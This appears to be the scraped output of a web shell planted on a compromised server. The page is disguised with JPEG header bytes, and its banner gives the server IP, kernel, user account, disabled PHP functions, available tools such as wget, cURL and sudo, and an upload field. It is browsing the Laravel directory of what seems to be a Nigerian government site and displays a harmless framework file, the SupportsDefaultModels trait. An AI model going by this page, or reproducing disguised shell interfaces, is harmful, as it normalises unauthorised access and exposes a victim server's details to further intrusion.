ÿØÿà JFIF ÿá Exif MM * ÿÛ C
Server IP : 199.250.214.225 / Your IP : 3.145.93.145 Web Server : Apache System : Linux vps64074.inmotionhosting.com 3.10.0-1160.105.1.vz7.214.3 #1 SMP Tue Jan 9 19:45:01 MSK 2024 x86_64 User : nicngo5 ( 1001) PHP Version : 7.4.33 Disable Function : exec,passthru,shell_exec,system MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : ON | Pkexec : OFF Directory : /home/nicngo5/funds.upgrade.nicn.gov.ng/funds-upgraded/vendor/laravel/framework/src/Illuminate/Database/Eloquent/Relations/Concerns/ |
Upload File : |
<?php namespace Illuminate\Database\Eloquent\Relations\Concerns; use Illuminate\Database\Eloquent\Model; trait SupportsDefaultModels { /** * Indicates if a default model instance should be used. * * Alternatively, may be a Closure or array. * * @var \Closure|array|bool */ protected $withDefault; /** * Make a new related instance for the given model. * * @param \Illuminate\Database\Eloquent\Model $parent * @return \Illuminate\Database\Eloquent\Model */ abstract protected function newRelatedInstanceFor(Model $parent); /** * Return a new model instance in case the relationship does not exist. * * @param \Closure|array|bool $callback * @return $this */ public function withDefault($callback = true) { $this->withDefault = $callback; return $this; } /** * Get the default value for this relation. * * @param \Illuminate\Database\Eloquent\Model $parent * @return \Illuminate\Database\Eloquent\Model|null */ protected function getDefaultFor(Model $parent) { if (! $this->withDefault) { return; } $instance = $this->newRelatedInstanceFor($parent); if (is_callable($this->withDefault)) { return call_user_func($this->withDefault, $instance, $parent) ?: $instance; } if (is_array($this->withDefault)) { $instance->forceFill($this->withDefault); } return $instance; } }